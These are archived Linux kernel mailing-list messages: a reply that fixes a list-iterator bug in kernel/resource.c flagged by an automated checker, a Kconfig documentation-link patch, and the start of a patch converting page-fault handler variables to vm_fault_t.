Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.drivers.devicetree,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v5 2/4] resource: Use list_head to link sibling resource
Date: Wed, 13 Jun 2018 14:55:47 +0800
Lines: 49
Approved: news@gmane.org
Message-ID: <20180613065547.GH1820@MiWiFi-R3L-srv>
References: <alpine.DEB.2.20.1806121708070.3334@hadrien>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1528872838 6569 195.159.176.226 (13 Jun 2018 06:53:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 13 Jun 2018 06:53:58 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, kbuild-all-JC7UmRfGjtg@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org,
 yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org,
 monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org,
 devel-tBiZLqfeLfOHmIFyCCdPziST3g8Odh+X@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
 davem-fT/PcQaiUtJq0hI55+XSNA@public.gmane.org
To: Julia Lawall <julia.lawall-L2FTfq7BK8M@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Wed Jun 13 08:53:51 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fSzf7-0001Uk-Vc
	for gln-linux-nvdimm@m.gmane.org; Wed, 13 Jun 2018 08:53:46 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id D7B2C212E25AF;
	Tue, 12 Jun 2018 23:55:56 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 293D2212E258A
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue, 12 Jun 2018 23:55:54 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx04.intmail.prod.int.rdu2.redhat.com
 [10.11.54.4])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 78CB64023821;
 Wed, 13 Jun 2018 06:55:53 +0000 (UTC)
Original-Received: from localhost (ovpn-8-18.pek2.redhat.com [10.72.8.18])
 by smtp.corp.redhat.com (Postfix) with ESMTPS id C8F242026DEF;
 Wed, 13 Jun 2018 06:55:49 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <alpine.DEB.2.20.1806121708070.3334@hadrien>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.4
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.6]); Wed, 13 Jun 2018 06:55:53 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.6]);
 Wed, 13 Jun 2018 06:55:53 +0000 (UTC) for IP:'10.11.54.4'
 DOMAIN:'int-mx04.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10325 gmane.linux.kernel.pci:73231 gmane.linux.kernel.input:61567 gmane.linux.drivers.devicetree:274570 gmane.linux.ports.parisc:28692 gmane.linux.kernel.kexec:20886 gmane.linux.ports.ppc64.devel:158810
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10325>

On 06/12/18 at 05:10pm, Julia Lawall wrote:
> This looks wrong.  After a list iterator, the index variable points to a
> dummy structure.
> 
> julia
> 
> url:    https://github.com/0day-ci/linux/commits/Baoquan-He/resource-Use-list_head-to-link-sibling-resource/20180612-113600
> :::::: branch date: 7 hours ago
> :::::: commit date: 7 hours ago
> 
> >> kernel/resource.c:265:17-20: ERROR: invalid reference to the index variable of the iterator on line 253
> 
> # https://github.com/0day-ci/linux/commit/e906f15906750a86913ba2b1f08bad99129d3dfc
> git remote add linux-review https://github.com/0day-ci/linux
> git remote update linux-review
> git checkout e906f15906750a86913ba2b1f08bad99129d3dfc
> vim +265 kernel/resource.c
> 
> ^1da177e4 Linus Torvalds 2005-04-16  247
> 5eeec0ec9 Yinghai Lu     2009-12-22  248  static void __release_child_resources(struct resource *r)
> 5eeec0ec9 Yinghai Lu     2009-12-22  249  {
> e906f1590 Baoquan He     2018-06-12  250  	struct resource *tmp, *next;
> 5eeec0ec9 Yinghai Lu     2009-12-22  251  	resource_size_t size;
> 5eeec0ec9 Yinghai Lu     2009-12-22  252
> e906f1590 Baoquan He     2018-06-12 @253  	list_for_each_entry_safe(tmp, next, &r->child, sibling) {
> 5eeec0ec9 Yinghai Lu     2009-12-22  254  		tmp->parent = NULL;
> e906f1590 Baoquan He     2018-06-12  255  		INIT_LIST_HEAD(&tmp->sibling);

							list_del_init(&tmp->sibling);

Thanks, Julia. Here I should use list_del_init(&op->list) to
replace INIT_LIST_HEAD(&tmp->sibling). 

> 5eeec0ec9 Yinghai Lu     2009-12-22  256  		__release_child_resources(tmp);
> 5eeec0ec9 Yinghai Lu     2009-12-22  257
> 5eeec0ec9 Yinghai Lu     2009-12-22  258  		printk(KERN_DEBUG "release child resource %pR\n", tmp);
> 5eeec0ec9 Yinghai Lu     2009-12-22  259  		/* need to restore size, and keep flags */
> 5eeec0ec9 Yinghai Lu     2009-12-22  260  		size = resource_size(tmp);
> 5eeec0ec9 Yinghai Lu     2009-12-22  261  		tmp->start = 0;
> 5eeec0ec9 Yinghai Lu     2009-12-22  262  		tmp->end = size - 1;
> 5eeec0ec9 Yinghai Lu     2009-12-22  263  	}
> e906f1590 Baoquan He     2018-06-12  264
> e906f1590 Baoquan He     2018-06-12 @265  	INIT_LIST_HEAD(&tmp->child);
> 5eeec0ec9 Yinghai Lu     2009-12-22  266  }
> 5eeec0ec9 Yinghai Lu     2009-12-22  267
> 
> ---
> 0-DAY kernel test infrastructure                Open Source Technology Center
> https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

From - Thu Nov 08 21:41:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mauro Carvalho Chehab <mchehab+samsung@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.documentation,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH v3 03/27] arch/*: Kconfig: fix documentation for NMI watchdog
Date: Thu, 14 Jun 2018 13:08:48 -0300
Lines: 72
Approved: news@gmane.org
Message-ID: <564367865a45eb5509b23c295259e74387b874ad.1528990947.git.mchehab+samsung@kernel.org>
References: <cover.1528990947.git.mchehab+samsung@kernel.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1528992458 3463 195.159.176.226 (14 Jun 2018 16:07:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 14 Jun 2018 16:07:38 +0000 (UTC)
Cc: Mauro Carvalho Chehab <mchehab+samsung@kernel.org>,
        Mauro Carvalho Chehab <mchehab@infradead.org>,
        linux-kernel@vger.kernel.org, Jonathan Corbet <corbet@lwn.net>,
        Russell King <linux@armlinux.org.uk>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Rich Felker <dalias@libc.org>,
        "David S. Miller" <davem@davemloft.net>,
        linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org
To: Linux Doc Mailing List <linux-doc@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 14 18:07:33 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fTUma-0008Jf-NJ
	for glk-linux-kernel-4@m.gmane.org; Thu, 14 Jun 2018 18:07:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S936063AbeFNQJm (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 14 Jun 2018 12:09:42 -0400
Original-Received: from osg.samsung.com ([64.30.133.232]:62828 "EHLO osg.samsung.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1755506AbeFNQJh (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 14 Jun 2018 12:09:37 -0400
Original-Received: from localhost (localhost [127.0.0.1])
        by osg.samsung.com (Postfix) with ESMTP id 8960520F5C;
        Thu, 14 Jun 2018 09:09:36 -0700 (PDT)
X-Virus-Scanned: Debian amavisd-new at dev.s-opensource.com
X-Amavis-Alert: BAD HEADER SECTION, Duplicate header field: "References"
Original-Received: from osg.samsung.com ([127.0.0.1])
        by localhost (localhost [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id lomz9anNSsX4; Thu, 14 Jun 2018 09:09:35 -0700 (PDT)
Original-Received: from smtp.s-opensource.com (177.41.114.220.dynamic.adsl.gvt.net.br [177.41.114.220])
        by osg.samsung.com (Postfix) with ESMTPSA id A783F20EB6;
        Thu, 14 Jun 2018 09:09:16 -0700 (PDT)
Original-Received: from mchehab by smtp.s-opensource.com with local (Exim 4.91)
        (envelope-from <mchehab@smtp.s-opensource.com>)
        id 1fTUoD-0005SH-Q5; Thu, 14 Jun 2018 13:09:13 -0300
X-Mailer: git-send-email 2.17.1
In-Reply-To: <cover.1528990947.git.mchehab+samsung@kernel.org>
In-Reply-To: <cover.1528990947.git.mchehab+samsung@kernel.org>
Original-References: <cover.1528990947.git.mchehab+samsung@kernel.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2794598 gmane.linux.documentation:56631 gmane.linux.ports.arm.kernel:656391 gmane.linux.ports.parisc:28693 gmane.linux.ports.sh.devel:57103 gmane.linux.ports.sparc:27997
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2794598>

Changeset 9919cba7ff71 ("watchdog: Update documentation") updated
the documentation, removing the old nmi_watchdog.txt and adding
a file with a new content.

Update Kconfig files accordingly.

Fixes: 9919cba7ff71 ("watchdog: Update documentation")

Signed-off-by: Mauro Carvalho Chehab <mchehab+samsung@kernel.org>
---
 arch/arm/Kconfig    | 2 +-
 arch/parisc/Kconfig | 2 +-
 arch/sh/Kconfig     | 2 +-
 arch/sparc/Kconfig  | 2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 2a78bdef9a24..fc3330807b09 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -1301,7 +1301,7 @@ config SMP
 	  will run faster if you say N here.
 
 	  See also <file:Documentation/x86/i386/IO-APIC.txt>,
-	  <file:Documentation/nmi_watchdog.txt> and the SMP-HOWTO available at
+	  <file:Documentation/lockup-watchdogs.txt> and the SMP-HOWTO available at
 	  <http://tldp.org/HOWTO/SMP-HOWTO.html>.
 
 	  If you don't know what to do here, say N.
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 4d8f64d48597..c480770fabcd 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -275,7 +275,7 @@ config SMP
 	  machines, but will use only one CPU of a multiprocessor machine.
 	  On a uniprocessor machine, the kernel will run faster if you say N.
 
-	  See also <file:Documentation/nmi_watchdog.txt> and the SMP-HOWTO
+	  See also <file:Documentation/lockup-watchdogs.txt> and the SMP-HOWTO
 	  available at <http://www.tldp.org/docs.html#howto>.
 
 	  If you don't know what to do here, say N.
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 4d61a085982b..ac1829353139 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -687,7 +687,7 @@ config SMP
 	  People using multiprocessor machines who say Y here should also say
 	  Y to "Enhanced Real Time Clock Support", below.
 
-	  See also <file:Documentation/nmi_watchdog.txt> and the SMP-HOWTO
+	  See also <file:Documentation/lockup-watchdogs.txt> and the SMP-HOWTO
 	  available at <http://www.tldp.org/docs.html#howto>.
 
 	  If you don't know what to do here, say N.
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 9a2b8877f174..0f535debf802 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -178,7 +178,7 @@ config SMP
 	  Y to "Enhanced Real Time Clock Support", below. The "Advanced Power
 	  Management" code will be disabled if you say Y here.
 
-	  See also <file:Documentation/nmi_watchdog.txt> and the SMP-HOWTO
+	  See also <file:Documentation/lockup-watchdogs.txt> and the SMP-HOWTO
 	  available at <http://www.tldp.org/docs.html#howto>.
 
 	  If you don't know what to do here, say N.
-- 
2.17.1



From - Thu Nov 08 21:41:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Souptick Joarder <jrdr.linux@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.kernel.iommu,gmane.linux.kernel.mm
Subject: [PATCH] mm: convert return type of handle_mm_fault() caller to
 vm_fault_t
Date: Fri, 15 Jun 2018 00:36:30 +0530
Lines: 582
Approved: news@gmane.org
Message-ID: <20180614190629.GA18576@jordon-HP-15-Notebook-PC>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1529002938 22053 195.159.176.226 (14 Jun 2018 19:02:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 14 Jun 2018 19:02:18 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-mips@linux-mips.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-riscv@lists.infradead.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net,
        user-mode-linux-user@lists.sourceforge.net,
        linux-xtensa@linux-xtensa.org, iommu@lists.linux-foundation.org,
        linux-mm@kvack.org, brajeswar.linux@gmail.com,
        sabyasachi.linux@gmail.com
To: willy@infradead.org, rth@twiddle.net, tony.luck@intel.com,
        mattst88@gmail.com, vgupta@synopsys.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, rkuo@codeaurora.org,
        geert@linux-m68k.org, monstr@monstr.eu, jhogan@kernel.org,
        lftan@altera.com, jonas@southpole.se, jejb@parisc-linux.org,
        benh@kernel.crashing.org, palmer@sifive.com,
        ysato@users.sourceforge.jp, davem@davemloft.net, richard@nod.at,
        gxt@pku.edu.cn, tglx@linutronix.de, hpa@zytor.com,
        alexander.levin@verizon.com, akpm@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 14 21:02:10 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fTXVX-0005UA-Sg
	for glk-linux-kernel-4@m.gmane.org; Thu, 14 Jun 2018 21:02:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755281AbeFNTEK (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 14 Jun 2018 15:04:10 -0400
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:38361 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754780AbeFNTEH (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 14 Jun 2018 15:04:07 -0400
Original-Received: by mail-pg0-f67.google.com with SMTP id c9-v6so3333832pgf.5;
        Thu, 14 Jun 2018 12:04:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :user-agent;
        bh=rqXlLO/FUcDZUteIoqyH4iNrijFHZjzJ7JpxqvL6Y/4=;
        b=mRfjg6IJswTE1kOPHYYxF8JZubIBnmZj1kIs9SE+GAn+BDlewoXzcud1HzT5NX50BV
         iwofJXG3iNBVZg5ikszt/5utdljTjzvtjvQa8LYTZ/+BeafNCRg+QFjAOXAepEglea7A
         l6JhPlYawPD99+8GR+InkNVcvq7DZZ2g/uN7wtfObTSPurCiGpw1uj6scti9JLfqbt66
         Alf6uR7cknv3WXcpoFlGmpQpolV6MwUpP0s/2P4+SQY4xvOHnK5/fauJU5riCuFJWXaY
         JhxIDvaDBodccijLUBWbh/P+eA4KPdO8nhNK68DgWVNk0nGtmP78Eejp0XyAcPIOQU9H
         /KTg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:user-agent;
        bh=rqXlLO/FUcDZUteIoqyH4iNrijFHZjzJ7JpxqvL6Y/4=;
        b=iLc8VIZzHDjJmymDaYio9pV7n/NG1bpPyfkCCIuABSE6Sbyav5ci1n4hUZ3yVRu3ap
         yZ43RJWOLHj/rGNB8CzhpuFbAZvNdjCKmLNy2xRa4WO+GHTsL4irf3dD8/zHEH6clI1V
         FJn9YL6s+kzWLu/yY2XvkL07gg8b5b8A01ot7jfCoLRMjp8qa9PZWID2KTR7xBZUITG6
         DGBv5BSxycBpU+QwS5m7/xfXhRWlfc9+ZOAyRFYthYnXRz4wNJdDg6TEUT7mLtFTsShZ
         fS4PpqPJg16OcdFZ2h4ob9gkTP1Vh8MeitcUyM+1l+w40Jlggrqae9dkWZNdbk8bUX5v
         8Pqw==
X-Gm-Message-State: APt69E1d97wfoMEd2XwLaKXjGXaJMQ+bhGLiprr0/r8Dn8+aUp/KfSZf
        nv9tgTxxVtgAnVxlvp6zKKM=
X-Google-Smtp-Source: ADUXVKJqXHqEJcA+lMl6OQq/QZ3mryEa6QPqrdGwl4HhXpgWJVhLhxr+nA/QGnzxoLrV31qMq621zA==
X-Received: by 2002:a63:86c8:: with SMTP id x191-v6mr3285144pgd.2.1529003046308;
        Thu, 14 Jun 2018 12:04:06 -0700 (PDT)
Original-Received: from jordon-HP-15-Notebook-PC ([49.205.217.168])
        by smtp.gmail.com with ESMTPSA id e1-v6sm7251408pgt.71.2018.06.14.12.04.03
        (version=TLS1 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Thu, 14 Jun 2018 12:04:04 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2794694 gmane.linux.ports.alpha:5116 gmane.linux.kernel.arc:3966 gmane.linux.ports.arm.kernel:656421 gmane.linux.ports.hexagon:1770 gmane.linux.ports.ia64:28860 gmane.linux.ports.mips.general:65016 gmane.linux.ports.parisc:28694 gmane.linux.ports.ppc64.devel:158924 gmane.linux.ports.riscv:27 gmane.linux.ports.sh.devel:57104 gmane.linux.ports.sparc:28001 gmane.linux.uml.devel:16819 gmane.linux.uml.user:15455 gmane.linux.kernel.iommu:24850 gmane.linux.kernel.mm:197534
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2794694>

Use new return type vm_fault_t for fault handler. For
now, this is just documenting that the function returns
a VM_FAULT value rather than an errno. Once all instances
are converted, vm_fault_t will become a distinct type.

Ref-> commit 1c8f422059ae ("mm: change return type to vm_fault_t")

In this patch all the caller of handle_mm_fault()
are changed to return vm_fault_t type.

Signed-off-by: Souptick Joarder <jrdr.linux@gmail.com>
---
 arch/alpha/mm/fault.c         |  3 ++-
 arch/arc/mm/fault.c           |  4 +++-
 arch/arm/mm/fault.c           |  7 ++++---
 arch/arm64/mm/fault.c         |  6 +++---
 arch/hexagon/mm/vm_fault.c    |  2 +-
 arch/ia64/mm/fault.c          |  2 +-
 arch/m68k/mm/fault.c          |  4 ++--
 arch/microblaze/mm/fault.c    |  2 +-
 arch/mips/mm/fault.c          |  2 +-
 arch/nds32/mm/fault.c         |  2 +-
 arch/nios2/mm/fault.c         |  2 +-
 arch/openrisc/mm/fault.c      |  2 +-
 arch/parisc/mm/fault.c        |  2 +-
 arch/powerpc/mm/copro_fault.c |  2 +-
 arch/powerpc/mm/fault.c       |  7 ++++---
 arch/riscv/mm/fault.c         |  3 ++-
 arch/s390/mm/fault.c          | 13 ++++++++-----
 arch/sh/mm/fault.c            |  4 ++--
 arch/sparc/mm/fault_32.c      |  3 ++-
 arch/sparc/mm/fault_64.c      |  3 ++-
 arch/um/kernel/trap.c         |  2 +-
 arch/unicore32/mm/fault.c     |  9 +++++----
 arch/x86/mm/fault.c           |  5 +++--
 arch/xtensa/mm/fault.c        |  2 +-
 drivers/iommu/amd_iommu_v2.c  |  2 +-
 drivers/iommu/intel-svm.c     |  4 +++-
 mm/hmm.c                      |  8 ++++----
 mm/ksm.c                      |  2 +-
 28 files changed, 62 insertions(+), 47 deletions(-)

diff --git a/arch/alpha/mm/fault.c b/arch/alpha/mm/fault.c
index cd3c572..2a979ee 100644
--- a/arch/alpha/mm/fault.c
+++ b/arch/alpha/mm/fault.c
@@ -87,7 +87,8 @@
 	struct vm_area_struct * vma;
 	struct mm_struct *mm = current->mm;
 	const struct exception_table_entry *fixup;
-	int fault, si_code = SEGV_MAPERR;
+	int si_code = SEGV_MAPERR;
+	vm_fault_t fault;
 	siginfo_t info;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
diff --git a/arch/arc/mm/fault.c b/arch/arc/mm/fault.c
index a0b7bd6..3a18d33 100644
--- a/arch/arc/mm/fault.c
+++ b/arch/arc/mm/fault.c
@@ -15,6 +15,7 @@
 #include <linux/uaccess.h>
 #include <linux/kdebug.h>
 #include <linux/perf_event.h>
+#include <linux/mm_types.h>
 #include <asm/pgalloc.h>
 #include <asm/mmu.h>
 
@@ -66,7 +67,8 @@ void do_page_fault(unsigned long address, struct pt_regs *regs)
 	struct task_struct *tsk = current;
 	struct mm_struct *mm = tsk->mm;
 	siginfo_t info;
-	int fault, ret;
+	int ret;
+	vm_fault_t fault;
 	int write = regs->ecr_cause & ECR_C_PROTV_STORE;  /* ST/EX */
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
diff --git a/arch/arm/mm/fault.c b/arch/arm/mm/fault.c
index b75eada..758abcb 100644
--- a/arch/arm/mm/fault.c
+++ b/arch/arm/mm/fault.c
@@ -219,12 +219,12 @@ static inline bool access_error(unsigned int fsr, struct vm_area_struct *vma)
 	return vma->vm_flags & mask ? false : true;
 }
 
-static int __kprobes
+static vm_fault_t __kprobes
 __do_page_fault(struct mm_struct *mm, unsigned long addr, unsigned int fsr,
 		unsigned int flags, struct task_struct *tsk)
 {
 	struct vm_area_struct *vma;
-	int fault;
+	vm_fault_t fault;
 
 	vma = find_vma(mm, addr);
 	fault = VM_FAULT_BADMAP;
@@ -259,7 +259,8 @@ static inline bool access_error(unsigned int fsr, struct vm_area_struct *vma)
 {
 	struct task_struct *tsk;
 	struct mm_struct *mm;
-	int fault, sig, code;
+	int sig, code;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	if (notify_page_fault(regs, fsr))
diff --git a/arch/arm64/mm/fault.c b/arch/arm64/mm/fault.c
index 2af3dd8..8da263b 100644
--- a/arch/arm64/mm/fault.c
+++ b/arch/arm64/mm/fault.c
